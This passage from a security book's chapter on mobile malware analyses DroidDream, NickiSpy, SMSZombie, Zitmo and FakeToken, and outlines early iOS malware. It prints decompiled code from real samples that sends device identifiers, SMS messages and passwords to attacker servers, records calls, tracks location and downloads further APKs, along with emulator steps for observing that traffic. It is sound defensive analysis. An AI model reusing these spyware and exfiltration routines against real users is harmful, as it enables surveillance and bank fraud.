fraud or bank fraud. Early examples of fraudulent mobile malware include Redbrowser, 
which was identified in 2006 and was a Trojan horse affecting J2ME devices that sent 
SMS messages to premium-rate Russian numbers, thus running up the victim’s phone 
bill. Even early on abusing premium-rate telephone services became a common theme in 
mobile malware, while bank fraud followed later as mobile banking and the use of 
mobile devices as a secondary authentication factor slowly gained in popularity.

In this chapter, we’ll first explore malware that affects the Android platform and then 
briefly discuss iOS malware, or the lack of it so far, and then conclude with a discussion 
of the possible reasons for the lack of malware on the iOS platform compared to the 
Android platform. The malware examples discussed in this chapter were selected 
because they are representative of a far larger set of malware that affect mobile devices. 
Each malware described takes a unique approach to violate the victim’s privacy, conduct 
fraud, disrupt the victim’s device, or conduct malevolent pranks by exploiting features 
distinctive to the mobile space.

ANDROID MALWARE
Given Android’s large market share, that it has been targeted by malware authors is not 
surprising. According to a report from F-Secure, 79 percent of all mobile malware in 2012 
was targeted toward Android (f-secure.com/static/doc/labs_global/Research/Mobile 
Threat Report Q4 2012.pdf). We’ll take a look at why Android is such a large target 
compared to other mobile OSs later in this chapter.

Now let’s look at some specific examples of Android malware.
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DroidDream
Although most Android malware is distributed by third-party application marketplaces 
or requires the user to download and install it manually, the DroidDream family of 
malware was primarily distributed by the Google Play store. Various legitimate 
applications from the Play store were repackaged to include DroidDream and then put 
back in the Play store. Users downloaded this software believing it to be safe since it 
came from a trusted source. An application repackaged to include DroidDream requires 
a large number of dangerous permissions, as shown in Figure 5-1, which is one indicator 
that something may be wrong. However, users may ignore the installation prompt or not 
understand what the requested permissions allow and proceed with the installation.

Once the application is launched, the Setting service is created, followed by the 
actual application. The Setting service attempts to send some information about the 
infected device to a remote server whose address is hard coded into the application. As 
you can see in the following code, the device’s International Mobile Station Equipment 
Identity (IMEI), which is used to identify a specific mobile device on the network, and 
the user’s International Mobile Subscriber Identity (IMSI), which is used to identify the 
mobile subscriber, along with two other values (Partner and ProductID) are sent to 
the remote server.

Figure 5-1 Permissions requested by a repackaged application containing DroidDream
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The following code snippet was recovered from a DroidDream sample using the techniques outlined 
in Chapter 4. Unless otherwise noted, all of the Android malware code snippets in this chapter were 
recovered from actual malware samples.

public static void postUrl(String paramString, Context paramContext)
    throws IOException
  {
    Formatter localFormatter = new Formatter();
    Object[] arrayOfObject = new Object[4];
    arrayOfObject[0] = "502";
    arrayOfObject[1] = "10001";
    arrayOfObject[2] = adbRoot.getIMEI(paramContext);
    arrayOfObject[3] = adbRoot.getIMSI(paramContext);
    localFormatter.format("<?xml version=\"1.0\" encoding=\"UTF-
    8\"?><Request><Protocol>1.0</Protocol><Command>0</Command><ClientInfo>
    <Partner>%s</Partner><ProductId>%s</ProductId><IMEI>%s</IMEI><IMSI>%s</IMSI>
    </ClientInfo></Request>", arrayOfObject);
    byte[] arrayOfByte1 = localFormatter.toString().getBytes();
    adbRoot.crypt(arrayOfByte1);
    HttpURLConnection localHttpURLConnection = (HttpURLConnection)new
    URL(paramString).openConnection();
    localHttpURLConnection.setDoOutput(true);
    localHttpURLConnection.setDoInput(true);
    localHttpURLConnection.setRequestMethod("POST");
    OutputStream localOutputStream = localHttpURLConnection.getOutputStream();

After contacting the server, the next step is to root the device. DroidDream includes 
two different root exploits. The first exploit, known as RageAgainstTheCage, exploits a 
vulnerability in the Android Debug Bridge Daemon (adbd). The second exploit, exploid 
(CVE-2009-1185), exploits a vulnerability in the way Android handles udev. Both of these 
exploits were fixed in Android 2.2.2 (Froyo). Devices running a version of Android prior 
to 2.2.2 are likely vulnerable to at least one of these exploits.

Once DroidDream has root access, it proceeds to install another application that was 
packaged with it. It copies the file sqlite.db from the assets directory to /system/app/
DownloadProvidersManager.apk. This application allows DroidDream to download 
new updates or additional applications silently.

At this point, DroidDream now has full control over the infected device. With root 
access and the ability to download and install new packages as directed by the Command 
and Control (C&C) server, the malware can perform any actions, such as stealing account 
information or SMS messages. As with traditional malware, the C&C server is in charge 
of managing the malware once it is registered by sending commands to infected devices 
and recovering information sent by the malware.

Once Google was made aware of the DroidDream threat, the repackaged applications 
housing it were quickly removed from the Play store. Symantec estimated, however, that 
anywhere from 50,000 to 200,000 users were infected while the applications were 
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available. DroidDream continued to be available on various third-party application 
marketplaces even after it was taken down from Google Play.

NickiSpy
Mobile phones continue to become more powerful and add more features. With the 
ability to record sound, pictures, and location information via GPS, a smartphone knows 
a lot about its user. Combine that with an Android application’s ability to recover SMS 
messages, listen to phone calls, and read files stored on the file system, and you have a 
powerful tool that can be used to spy on unsuspecting users. NickiSpy and its variants 
make use of this fact to literally spy on their victims.

Like other mobile malware, NickiSpy is commonly packaged into other popular 
software. Once the victim installs the malicious application, NickiSpy stays dormant, 
waiting to receive the android.intent.action.BOOT_COMPLETED broadcast from 
the system, meaning that the malware does not activate until the device has been 
rebooted. Upon rebooting, the malware sends an SMS message to a hardcoded C&C 
number along with the device’s IMEI number. The variant described here (referred to as 
NickiSpy.B) then immediately begins gathering information about the victim, although 
other variants may wait for a command SMS before initializing. The malware then waits 
to receive additional commands via SMS.

Figure 5-2 shows the services created by NickiSpy when the device reboots.

Figure 5-2 NickiSpy services start when the device boots.
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MainService is the heart of the malware. It starts the various spying services 
depending on its configuration, which can be updated via SMS commands. In this 
sample, all the services were started by default. The first, GpsService, makes use of 
Android’s LocationManager to get the device’s location.

this.locationManager = ((LocationManager)getSystemService("location"));
Criteria localCriteria = new Criteria();
localCriteria.setAccuracy(1);
localCriteria.setAltitudeRequired(false);
localCriteria.setBearingRequired(false);
localCriteria.setCostAllowed(true);
localCriteria.setPowerRequirement(1);
String str = this.locationManager.getBestProvider(localCriteria, true);
Location localLocation = null;
if (str != null)
{
      this.locationManager.requestLocationUpdates(str, 60000 *
      Integer.parseInt(this.SERVER_TIME), Integer.parseInt(this.SERVER_MOVE),
      this.locationListener);
      localLocation = this.locationManager.getLastKnownLocation(str);
}
if (localLocation != null)
{
      double d1 = localLocation.getLongitude();
      double d2 = localLocation.getLatitude();
}

The location information is then uploaded to the remote server defined by the 
malware’s configuration stored in the shared preferences XML file, named XM_All_
Setting, by the SocketService class.

The XM_SmsListener class, as the name suggests, is responsible for recording 
SMS messages by registering a ContentObserver to watch the SMS 
ContentProvider. When a new SMS message is sent or received, it is forwarded to 
the remote server by the SocketService. Finally, the XM_CallListener, XM_
CallRecorderService, and RecordService services are responsible for 
recording calls made by the device. XM_CallRecorderService watches for new 
phone calls by using a PhoneStateListener. When it detects a new phone call, it 
calls RecordService to record the call to a file:

public void callrecord()
{
      this.fileint = (1 + this.fileint);
      if (this.recorder == null)
        this.recorder = new MediaRecorder();
      this.startRecTime = System.currentTimeMillis();
      this.recorder.setAudioSource(1);
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      this.recorder.setOutputFormat(1);
      this.recorder.setAudioEncoder(1);
      if (!new File(this.callrpath).exists())
        new File(this.callrpath).mkdirs();
      MediaRecorder localMediaRecorder = this.recorder;
      StringBuilder localStringBuilder = new
      StringBuilder(String.valueOf(this.callrpath)).append(this.filetime);
      Object[] arrayOfObject = new Object[1];
      arrayOfObject[0] = Integer.valueOf(this.fileint);
      localMediaRecorder.setOutputFile(String.format("%03d", arrayOfObject)
      + ".amr");
      this.recorder.prepare();
      this.recorder.start();
      new Thread(this.mTasks).start();
      return;
    }
  }

RecordService uses a MediaRecorder to record the call audio by using the 
microphone. This is configured by using setAudioSource() with a value of 
MediaRecorder.AudioSource.MIC, which is equal to one. It then writes the call 
audio to a file, which triggers the XM_CallListener class to send the recorded call and 
information about the call from android.provider.CallLog to the remote server via 
the SocketService. Some variants of NickiSpy use this functionality to record sound 
when the phone is not in use. The malware waits until it sees the screen has turned off, 
and then turns on the microphone and records the sound input to a file while making 
sure the screen remains turned off. Android 2.3 (Gingerbread) removed the ability for an 
application to change the phone state without user interaction, so this attack is no longer 
possible.

NickiSpy was never discovered in the Google Play store, but it did appear in various 
third-party marketplaces. Although it did not have the ability to root devices remotely 
like DroidDream, it was still able to compromise the device in a significant way using 
features available to any application.

SMSZombie
SMSZombie was discovered on the popular third-party Chinese application marketplace 
GFan. The malware targets China Mobile users, and once the malware has infected a 
device, it attempts to make fraudulent payments using the China Mobile SMS Payment 
system.

The malware is packaged inside a variety of live wallpaper applications. When 
installing these applications, no permissions are requested during installation, which 
makes it difficult for a user to determine whether the application is malicious or not. 
Once the application is installed and the user chooses it as the active live wallpaper, the 
application checks to see if the malware payload has been installed. If it has not, then the 
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jifenActivity class is loaded. This class first extracts a second APK file from an image 
in the assets folder:

String str = jifenActivity.this.getFilesDir().getAbsolutePath() + "/
a33.jpg";
jifenActivity.this.retrieveApkFromAssets(jifenActivity.this, "a33.jpg", 
str);
public boolean retrieveApkFromAssets(Context paramContext, String 
paramString1,
String paramString2)
      File localFile = new File(paramString2);
      if (!localFile.exists())
      {
            localFile.createNewFile();
            InputStream localInputStream =
            paramContext.getAssets().open(paramString1);
            FileOutputStream localFileOutputStream = new
            FileOutputStream(localFile);
            byte[] arrayOfByte = new byte[1024];
            int k = localInputStream.read(arrayOfByte);
            if (k == -1)
            {
                  localFileOutputStream.flush();
                  localFileOutputStream.close();
                  localInputStream.close();
                  break;
            }
            localFileOutputStream.write(arrayOfByte, 0, k);
      }
}

After retrieving the second application, the jifenActivity class creates a dialog 
box, asking the user to install another application in order to receive 100 points (With 
Google Translate, we got this message: “Please install the program can be Take 100 points 
to earn points After the game permanently”). The Cancel button on the dialog box has 
been disabled in an attempt to force the user to proceed with installation:

localBuilder.setNegativeButton("", new DialogInterface.OnClickListen-
er()
    {
      public void onClick(DialogInterface paramDialogInterface, int 
paramInt)
      {
      }
    });
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If the user does manage to back out (by pressing the Home key), he will be prompted 
with the dialog box again, as jifenActivity checks to see if the malicious payload has 
been installed every few seconds.

Once the user clicks OK, the application installation screen appears, where the user 
is prompted to install another application with a large list of requested permissions, as 
shown in Figure 5-3.

Once installed, the SMSZombie malware attempts to become the device administrator. 
The user will continue to be prompted to allow this until he or she presses Activate, as 
shown in Figure 5-4. The Android Device Administrator API allows an application to 
perform a number of otherwise protected actions, such as setting the password policy for 
the device, locking the screen, forcing the use of encryption, disabling the camera, or 
even wiping the device! Once the application has become a device administrator, it is 
now virtually impossible for the user to uninstall the malware, as Android will not allow 
the user to uninstall an application that is an active device administrator.

Figure 5-3 Permissions requested by the malicious application
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Now that the malware is installed, it sends an SMS message back to a hard-coded 
phone number stating whether the device is rooted or not. SMSZombie does not have 
the capability to root the device, but checks to see if the device is already rooted by 
attempting to execute the su binary. An XML file called phone.xml is then created. This 
file contains the phone number SMSZombie will send messages to as well as a list of 
keywords.

SMSZombie sends all SMS messages currently on the device to the target phone 
number listed in phone.xml. When a new message is received, it first checks the list of 
keywords in phone.xml. If one of the keywords is found, the message is forwarded to the 
target phone number and deleted from the device. Otherwise, the message is forwarded 
but not deleted. This allows the malware to keep messages related to financial transactions 
hidden from the user, so fraudulent transactions are not immediately noticed.

Zitmo
As Zeus and similar banking Trojan horses became more popular, banks began to rely 
more heavily on two-factor authentication to prevent man-in-the-browser (MiTB) attacks. 
During a MiTB attack, a Trojan horse installed on a victim’s computer hooks multiple 
Windows API calls associated with networking, such as HttpSendRequestW from 
wininet.dll, to intercept information between the browser client and the target web 
server. This technique allows the attacker to easily intercept and manipulate HTTP 
requests and responses associated with a banking web application served over HTTPS 
regardless of the browser used, assuming the correct APIs are hooked, in order to steal 
banking credentials and display false information to the user while criminals conduct 
fraudulent transfers using captured credentials.

Figure 5-4 SMSZombie becoming a device administrator
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To initiate a bank transfer using a mobile device as the secondary authentication 
factor, a consumer first logs into the banking web application on her desktop computer 
and sets up the transfer information. Then the bank sends an SMS text message, which 
includes the mobile transaction authentication number (mTAN) to the consumer’s mobile 
device. The consumer then types the mTAN into the banking web application on the 
desktop computer to initiate the transfer.

With these new mitigations in place, attackers began to explore how to circumvent 
this type of two-factor authentication to transfer money from the victim’s banking 
account to a Romanian bank account at a time of their choosing. Working in concert, the 
Zeus and Zitmo malware is one simple solution to their problem.

The attack begins when the victim’s desktop computer is infected with the Zeus 
Trojan horse. Attackers typically use browser exploit kits, such as the Blackhole exploit 
kit, or targeted phishing campaigns to infect their victims’ machines. The next time a 
victim logs into a banking web application, Zeus manipulates the bank’s HTTP responses 
to encourage the user to install a mobile security application written by Trusteer onto the 
user’s Android device. Obviously, this malware is not written by Trusteer, who does 
produce security software in the mobile space, but the victim is tricked into installing a 
malicious APK on his mobile device by typing a URL into the mobile browser. After 
installation, the victim will notice a new application called “Trusteer Rapport” on his 
device, as shown in Figure 5-5. Because Trusteer is a well-known security firm and the 
link to the APK comes from a trusted banking domain over HTTPS, victims are likely to 
fall for this deception.

Figure 5-5 Zitmo appears as the “Trusteer Rapport” application.
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The victim is then asked to start the application and enter the activation code provided 
by the Android application into the banking web application. This step is irrelevant and 
is designed to make the victim feel all warm and fuzzy inside, but actually the malware 
now has the capability to monitor SMS and send the data to an attacker-controlled server 
to capture mTANs. By reviewing the AndroidManifest.xml file, we can determine that 
the malware has the capability to access the Internet (android.permission
.INTERNET), to receive SMS (android.permission.RECEIVE_SMS), and to read the 
phone’s state (android.permission.READ_PHONE_STATE). The activation code 
shown to the user is either based on the IMEI or ESN returned by the getDeviceId 
function associated with the TelephonyManager class, as demonstrated by the 
following code located in the com.systemsecurity6.gms.Activation class. 
Because we are analyzing the malware using an emulator that does not have a device 
identifier, the activation code will be all zeros, as shown in Figure 5-6.

      public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    TelephonyManager localTelephonyManager = (TelephonyManager)
getSystemService("phone");
    String str = null;
    if (localTelephonyManager != null)
      str = localTelephonyManager.getDeviceId();
    StringBuilder localStringBuilder;
    if (str != null)
      localStringBuilder = new StringBuilder();
    for (int i = 0; ; i++)
    {
      if (i >= str.length())
      {
        ((TextView)findViewById(2131034112)).setText(localStringBuilder
.toString());
        return;
      }
      localStringBuilder.append(str.charAt(i));
      if ((i + 1) % 4 != 0)
        continue;
      localStringBuilder.append("-");
    }
  }

To catch incoming SMS text messages, Zitmo registers a BroadcastReceiver 
called SmsReceiver that listens for android.provider.Telephony.SMS_
RECEIVED actions and sends the protocol description units (PDUs) to the MainService 
class for further processing, as shown in the following code:
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  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Bundle localBundle = paramIntent.getExtras();
    if ((localBundle != null) && (localBundle.containsKey("pdus")))
    {
      abortBroadcast();
      paramContext.startService(
new Intent(paramContext, MainService.class).putExtra("pdus", localBundle));
    }
  }

Then the MainService class extracts out the SMS message and originating address 
by creating an android.telphony.SmsMessage object based on the PDUs, acquires 
the device ID (IMEI or ESN), and then sends this information to the ServerSession 

Figure 5-6  Zitmo generates an activation key based on the device identifi er.
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class. The ServerSession class then sends all this information to an attacker-controlled 
web server (softthrifty.com) as shown in this code via an HTTP POST request:

    public static JSONObject postRequest(
UrlEncodedFormEntity paramUrlEncodedFormEntity)
  {
    String str = initUrl();
    int i = 0;
    while (true)
    {
      Object localObject;
      if (i >= 5)
      {
        localObject = null;
        return localObject;
      }
      try
      {
        HttpPost localHttpPost = new HttpPost(str);
        localHttpPost.setEntity(paramUrlEncodedFormEntity);
        BasicResponseHandler localBasicResponseHandler =
new BasicResponseHandler();
        JSONObject localJSONObject =
(JSONObject)new JSONTokener(
(String)new DefaultHttpClient().execute(localHttpPost,
localBasicResponseHandler)).nextValue();
        localObject = localJSONObject;
      }

To test this malware, we simulate sending inbound SMS text messages to the emulator 
using a telnet client, and then intercept outbound HTTP requests using a web proxy tool 
to verify that the malware sends this information to an attacker-controlled server. Follow 
these steps to send SMS text messages to your AVD:

 1. Specify both the AVD and web proxy information as command-line arguments 
to the emulator command:

emulator -avd ZitmoAVD -http-proxy http://localhost:8080

 2. Determine which port the emulator is listening on. The devices command 
shows a list of connected mobile devices or running emulators. If the name of 
the emulator is emulator-5554, then you know that you can connect to this 
port via telnet.

adb devices

 3. Use a telnet client such as PuTTY to connect to localhost using the proper port 
number to connect to the Android console.

05-ch05.indd   132 6/19/2013   12:59:16 AM

http://www.softthrifty.com


Chapter 5: Mobile Malware 133

 4. Send an SMS message to the device to see how Zitmo responds (see Figure 5-7):

sms send 1234551234 This is a secret SMS message to the victim's 
phone.

As expected, Figure 5-8 shows that the malware sends the incoming SMS text 
messages (b0), the originating address (f0), and the device identifier (pid) to the 
attacker-controlled web server (softthrifty.com), which would compromise any mTANs 
generated by banks along with any other SMS text messages destined for the victim’s 
device. Since the domain is no longer active, we simply modified our host file so the 
emulator would resolve softthrifty.com to 127.0.0.1. Alternatively, you could use a 
network sniffer, such as Wireshark to monitor the traffic, but we know from static analysis 
that this version of Zitmo uses HTTP to exfiltrate data.

The version of Zitmo that we analyzed is rudimentary, especially when compared 
with its Blackberry cousin, but later versions of Zitmo gained additional functionality. 
Newer versions of the malware can be remotely turned on or off via SMS, and the 
hardcoded C&C number can be changed via SMS. Additionally, the victim’s SMS text 
messages are exfiltrated via SMS as opposed to HTTP, and the malware authors changed 
their disguise from “Trusteer” to the “Android Security Suite Premium” and later to 
“Zertificat.”

It is unclear why the malware authors switched to using the text messaging service 
as their means of data exfiltration, since the use of a C&C number has some clear 
disadvantages because consumers can review SMS billing information through their 
MNO. However, the attackers might believe that their C&C web servers are more likely 
to be taken down than their C&C numbers or that C&C numbers might be easier and 
cheaper to set up.

Regardless of the network protocols used, the malware’s basic premise has stayed 
the same. Steal mTANs and profit. One successful campaign of targeted attacks reportedly 
netted 36 million euros for the thieves (threatpost.com/en_us/blogs/zitmo-trojan-
variant-eurograbber-beats-two-factor-authentication-steal-millions-120612).

Figure 5-7 The Android console allows us to send SMS text messages to the emulator.
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FakeToken
The primary goal of most banking mobile malware is to work in concert with traditional 
banking Trojan horses to compromise the secondary authentication factor, such as 
mTANs. In the previous section, we explored how the Zitmo malware works with the 
Zeus Trojan horse, but authors of other popular crimeware have quickly followed suit. 
For instance, the Spitmo malware also compromises mTANs using a similar approach on 
Android devices and works with the SpyEye Trojan horse. There’s also Citmo that 
compromises mTANs and works with the Carberp Trojan horse. Citmo was found on 
Google Play, which raises concerns about Google’s ability to police its official marketplace 
effectively, but automated malware analysis is not a particularly easy problem to solve—
especially when some of the mobile malware mimics functionality available in legitimate 
SMS management applications.

FakeToken works differently than Zitmo, Spitmo, and Citmo by attempting to 
compromise multiple forms of authentication factors on the mobile device to avoid 
having to compromise the victim’s computer and mobile device. Allegedly, the malware 
was distributed through phishing campaigns against consumers or by utilizing previously 
infected computers similar to how Zeus and Zitmo work. After installation, the victim 
will notice the TokenGenerator application on her mobile device, as shown in Figure 5-9. 
In this case, the malware reuses the Santander Consumer Bank’s logo, which is a major 
bank in Spain. Other versions of the malware reused Banesto and BBVA logos, which are 
also both major banks in Spain.

During installation, the malware requests the following permissions, including a 
number of suspicious ones, such as the capability to install and delete new applications, 
to send and receive SMS messages, and to receive the boot completed event:

• android.permission.READ_PHONE_STATE

• android.permission.ACCESS_NETWORK_STATE

Figure 5-8 Using Burp Proxy to intercept HTTP traffi c between Zitmo and the attacker-controlled 
server
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• android.permission.SEND_SMS

• android.permission.RECEIVE_SMS

• android.permission.INTERNET

• android.permission.WRITE_EXTERNAL_STORAGE

• android.permission.INSTALL_PACKAGES

• android.permission.DELETE_PACKAGES

• android.permission.READ_CONTACTS

• android.permission.RECEIVE_BOOT_COMPLETED

The INSTALL_PACKAGES and DELETE_PACKAGES permissions are both 
“signatureOrSystem” permissions, which means that only applications installed on the 
system partition or applications signed with the firmware’s signing key can successfully 
request these permissions. Therefore, the FakeToken malware will thankfully not be 
granted these dangerous permissions that allow for silently installing and uninstalling 
software. The malware authors were likely confused about Android’s permission model. 
Some malware have successfully requested this permission, such as the jSMSHider 
malware, which exploited the fact that some custom ROMs are signed with a publicly 
known private key in order to gain elevated privileges by reusing the known private key 
to sign jSMSHider.

Figure 5-9 FakeToken appears as the TokenGenerator application using Santander’s logo.
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When the user starts the application, the FakeToken malware allows the victim to 
type a banking password into a legitimate-looking user interface in order to generate a 
token, as shown in Figure 5-10. The malware authors opted to use a WebView component 
to create the user interface, as shown in the following code, from the MainActivity 
class. Interestingly, they set up a JavaScript interface to allow the JavaScript code in the 
WebView component to call Java functions exposed by the WebApi class and any other 
Java function using reflection. This bridge between JavaScript and native mobile code 
within the malware is used for communicating information such as the fake token value 
or the victim’s password. Legitimate applications that create bridges between JavaScript 
and native mobile code often contain JavaScript injection vulnerabilities, which allow for 
trivial exploitation and full control over the host application.

    WebView localWebView = new WebView(this);
    webApi = new WebApi(this);
    localWebView.getSettings().setJavaScriptEnabled(true);
    localWebView.clearCache(true);
    localWebView.setScrollBarStyle(33554432);
    localWebView.setWebChromeClient(new WebChromeClient()
    {
      public boolean onJsPrompt(WebView paramWebView, String paramString1,
String paramString2, String paramString3, JsPromptResult paramJsPromptResult)
      {
        System.out.println("message: " + paramString2);
        if (paramString2.equals("getToken"))
          paramJsPromptResult.confirm(MainActivity.webApi.getToken());
        for (int i = 1; ; i = 0)
          return i;
      }
    });
    localWebView.addJavascriptInterface(new WebApi(this), "android");
    System.out.println("Build.VERSION.RELEASE: " +
Build.VERSION.RELEASE);
    if ((Build.VERSION.RELEASE.startsWith("2.3.1"))
|| (Build.VERSION.RELEASE.startsWith("2.3.3")))
      localWebView.loadUrl("file:///android_asset/html/index_bag.html");

After the victim clicks the “Generar” (generate) button, the JavaScript code invokes 
Java code by calling the WebApi’s sendPass function. This function then sends an SMS 
message to the attackers that includes a prefix value (stored in an XML configuration 
file), the IMEI, the IMSI, and the user-entered password via the MainService class, 
which, in turn, uses Android’s SmsManager class. At this point, the JavaScript code also 
invokes WebApi’s getToken function in order to acquire a randomly generated token 
and displays this value within the WebView component with the intention of pretending 
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to be a working security product. Additionally, the password is also sent to the C&C web 
server defined in the XML configuration file.

  public void sendPass(String paramString)
  {
    try
    {
      if (!Settings.saved.sendInitSms)
      {
        Settings.saved.sendInitSms = true;
        String str = Settings.saved.smsPrefix +
" INIT " + MainApplication.imei + " " + MainApplication.imsi + " " +
 paramString;
        MainService.sendSms(Settings.saved.number, str);
        MainApplication.settings.save(this.context);
      }
      new Thread(new ThreadOperation(this, 1, paramString)).start();
      label109: return;
    }
    catch (Exception localException)
    {
      break label109;
    }
  }

Figure 5-10 FakeToken generates a random authentication token using a pseudorandom number 
generator.
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To capture mTANs, FakeToken sets up a BroadcastReceiver to capture incoming 
SMS text messages similarly to Zitmo, but only forwards them to a phone number via 
SMS and to the C&C server via a multipart/form-data POST request, if the recipient 
phone numbers are on the “catch” list. The malware authors appear to be interested only 
in SMS messages from select banks as opposed to the SMS messages that you receive 
from your family, friends, and enemies. The malware periodically polls the C&C server 
in order to update the server used, the phone number used to capture mTANs, the 
“catch” list, and the “delete” list, which is used to suppress incoming messages, such as 
warnings from a financial institution about pending transactions.

Interestingly, the malware supports a number of other commands such as the ability 
to send the victim’s contacts (list of phone numbers) to the C&C server and the ability to 
download an APK from a remote server to the SD card for installation at a later time. The 
latter feature is probably used to update the malware to the latest and greatest version, 
or to install other malware or root exploits. The following code shows how the malware 
downloads the APK to the SD card within the MainApplication class:

  public static boolean DownloadApk(String paramString1, String paramString2)
  {
    System.out.println("DownloadAndInstall");
    int i;
    try
    {
      HttpURLConnection localHttpURLConnection =
(HttpURLConnection)new URL(paramString1).openConnection();
      localHttpURLConnection.setRequestMethod("GET");
      localHttpURLConnection.setDoOutput(true);
      localHttpURLConnection.connect();
      File localFile =
new File(Environment.getExternalStorageDirectory() + "/download/");
      localFile.mkdirs();
      FileOutputStream localFileOutputStream =
new FileOutputStream(new File(localFile, paramString2));
      InputStream localInputStream = localHttpURLConnection.getInputStream();
      byte[] arrayOfByte = new byte[1024];

A custom update screen is later displayed to convince the user that she needs an 
updated version of the software. When the victim clicks the only button on the screen, 
the normal Android application installation process starts. The victim then has to agree 
to install the malicious update after reviewing the requested permissions, since the 
malware was unsuccessful at acquiring the INSTALL_PACKAGES permission, as 
mentioned earlier. Additionally, the victim also needs to change her device’s security 
setting to allow installation of APKs from unknown sources unless she already performed 
this step when installing FakeToken in the first place.
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  // UpdateActivity
  public void onClick(View paramView)
  {
    MainApplication.installApk(this, MainApplication.updataApkPath);
  }
  // MainApplication
  public static void installApk(Context paramContext, String paramString)
  {
    Intent localIntent = new Intent("android.intent.action.VIEW");
    localIntent.setDataAndType(
Uri.fromFile(new File(paramString)),
"application/vnd.android.package-archive");
    paramContext.startActivity(localIntent);
  }

As the popularity of mobile banking and the use of mobile devices as secondary 
authentication factors increase, we expect that malware authors will continue to develop 
mobile banking malware of increasing complexity that attempts to compromise multiple 
authentication factors similarly to FakeToken as long as they continue to profit. So expect 
more in the future.

In response to the large amount of malware targeting Android, Google announced 
in February 2012 that it had created an automated tool called Bouncer to scan all 
apps submitted to the Google Play store for malicious functionality (googlemobile.
blogspot.com/2012/02/android-and-security.html). Although Google did not go 
into the specifics of how Bouncer worked, researchers quickly began testing it. Jon 
Oberheide and Charlie Miller showed that Bouncer ran applications in a custom 
emulator, and they were able to gain remote access to the Bouncer environment 
(http://jon.oberheide.org/blog/2012/06/21/dissecting-the-android-bouncer/). 
Other researchers from TrustWave’s SpiderLabs tested the effectiveness of Bouncer 
and found ways to hide malicious code from Bouncer by looking for telltale signs 
that their application was running in Bouncer and not executing malicious code 
unless installed on a non-Bouncer device (media.blackhat.com/bh-us-12/Briefings/
Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf). It appears that 
Bouncer relies on dynamically testing applications for suspicious behavior rather 
than performing static analysis on applications.

Even though Bouncer can be tricked, its release shows that Google is aware of the 
malware problem on Android and is taking steps to address the problem. In Android 4.2 
(Jellybean), Google added another protection against malware by implementing the 
Application Verification Service. This feature is enabled, by default, on 4.2 devices, but 
the user can turn it off. This feature scans all applications being installed on the device, 
including applications from third-party marketplaces and other sources, and either 
notifies the user or blocks the installation outright if it detects a malicious application. A 
study done by Xuxian Jiang showed that this application verification service was less 
effective than existing Android antivirus software (www.cs.ncsu.edu/faculty/jiang/
appverify/).
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Although these current countermeasures still fall short of their goal of preventing 
malware from reaching Android devices, they are a step in the right direction and should 
help to reduce the amount of malware successfully being installed on Android devices. 
Hopefully, Google will continue to improve its ability to combat malware by improving 
the Bouncer and Application Verification Service or by introducing other mitigating 
controls since the problem of malware infecting Android devices has become significantly 
worse over the last couple years. Trend Micro noted in their 2012 Mobile Threat and 
Security Roundup report that it detected 350,000 malicious Android application samples 
in 2012 but only detected 1,000 samples in 2011. The significant increase in mobile 
malware targeting Android users is quite a disturbing trend that hopefully will be curbed 
in the future.

iOS MALWARE
While Google has been plagued with malware in both Google Play and third-party 
Android markets, Apple has so far been relatively unscathed. There have only been a 
handful of notable malware affecting iOS devices and most of the malware to date has 
targeted jailbroken devices. We explore possible reasons for the lack of malware on iOS 
devices later in this chapter because that discussion is more complicated than simply 
claiming that Apple has better platform security.

The first malware discovered on iOS devices was discovered in June 2009 and 
disguised itself as “iPhone firmware 1.1.3 prep” software. It stated that it was “an 
important system update. Install this before updating to the new 1.1.3 firmware.” After 
uninstalling this firmware “prep” software, a number of common utilities installed on 
jailbroken devices would stop working properly, such as Doom, Launcher, Erica’s 
Utilities, and SSH, which caused users a minor annoyance by forcing them to reinstall 
these utilities. Because this Trojan was found on a third-party repository, it posed no 
threat to devices that had not been jailbroken. Supposedly, members of the ModMyiFone 
forum tracked down the father of the author of the malware by calling the phone number 
listed on the domain registration. The author turned out to be an 11-year-old kid, or so 
claimed the person on the phone.

After jailbreaking an iOS device, many users install a SSH daemon on their phone in 
order to control their device remotely, but some users forget to change the default 
password, which is set to “alpine” (Apple’s codename for iOS 1.0). In early November 
2009, a Dutch teenager scanned for iPhone’s on T-Mobile’s 3G IP range and exploited 
this vulnerability to install ransomware on users’ mobile devices. The ransomware 
displayed a message stating that “your iPhone’s been hacked because it’s really insecure! 
Please visit doiop.com/iHacked and secure your phone right now!” When victims 
visited the website to learn how to “secure” their phone, they were instructed to pay 
$4.95 via PayPal to acquire information about how to change their root password and 
remove the malware. The Dutch teenager quickly apologized for his unethical behavior 
and later offered information about how to change the root password and remove the 
ransomware for free.
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Later in November 2009, an Australian teenager, Ashley Towns, released the first 
worm to target iOS devices by exploiting the same the SSH vulnerability. This worm, 
dubbed iKee, was relatively harmless and somewhat amusing compared to other mobile 
malware since it only changed the user’s wallpaper to a picture of Rick Astley and then 
attempted to find other vulnerable iOS devices in specific IP ranges. We explore the 
details of this worm in the next section. Within weeks, an unknown malicious actor 
created another worm, labeled duh or iKee.B, since it was believed to be based on IKee, 
which exploited the same SSH vulnerability, but included command and control 
functionality that allowed the attacker to execute arbitrary shell commands on the 
victim’s iOS device, thus creating the first iOS botnet for the purpose of data 
exfiltration.

In July 2012, the first iOS malware/spyware was discovered in the Apple App Store. 
Named Find and Call, the malware also made an appearance in Google Play. Once the 
application is run by the user, Find and Call uploads the user’s contacts to a web server. 
Once the web server has the victim’s contacts and phone number, the web server proceeds 
to launch an SMS spam campaign against all of the contacts. Each contact receives an 
SMS message with the “From” field set to the victim’s phone number so the SMS message 
appears to originate from a friend. The SMS message contains a link to download the 
Find and Call application. There has been some active debate over whether this 
application should be classified as malware because it only attempts to boost installations 
via deceptive SMS spam. While this application is certainly not as harmful as banking 
malware, or as invasive of victim’s privacy as NickiSpy, an application that launches 
SMS spam campaigns against your friends without your knowledge should not be 
tolerated in either the Apple App Store or Google Play.

iKee
As mentioned earlier, the first worm to hit iPhones, named iKee, appeared in November 
2009, and its purpose was to “rickroll” victims by changing their background image to 
an image of Rick Astley, a 1980s British pop star, and to disable their SSH daemons. An 
Australian teenager admitted to creating the worm along with the initial infection of 
about 100 mobile devices. Given the fact that the worm only affected jailbroken devices 
with an unchanged root password and running SSH daemon, it is surprising that the 
worm was able to infect 17,000 to 25,000 devices in a short period of time. Local law 
